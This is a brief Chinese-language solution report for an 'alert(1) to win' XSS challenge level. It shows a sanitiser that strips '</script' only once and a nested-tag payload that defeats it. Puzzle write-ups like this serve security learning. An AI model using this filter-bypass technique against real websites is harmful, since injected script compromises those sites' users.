指引
- 官网入口: alert(1) to win(https://alf.nu/alert1)
- Github版: https://github.com/lyy289065406/CTF-Solving-Reports
- 关卡索引: http://exp-blog.com/2019/05/29/pid-3863/
题目
1 2 3 4 5 6 7 |
function escape(s) { s = JSON.stringify(s).replace(/<\/script/gi, ''); return '<script>console.log(' + s + ');</script>'; } |
解题报告
Level 03 – JSON 的进阶版。
回顾下第 3 题的 payload 是 :
1 2 3 |
</script><script>alert(1);// |
而这题对输入的字符串会做 一次 全局替换,把 </script
删掉,使得我们无法闭合标签。
但是因为替换只做一次,所以要绕过也不难,只需要把 </script
做一次嵌套即可,例如 </scr</scriptipt>
,被全局替换后,留下的就是我们需要的闭合标签 </script>
。
因此这题可构造这样的 payload :
1 2 3 |
</scr</scriptipt><script>alert(1);// |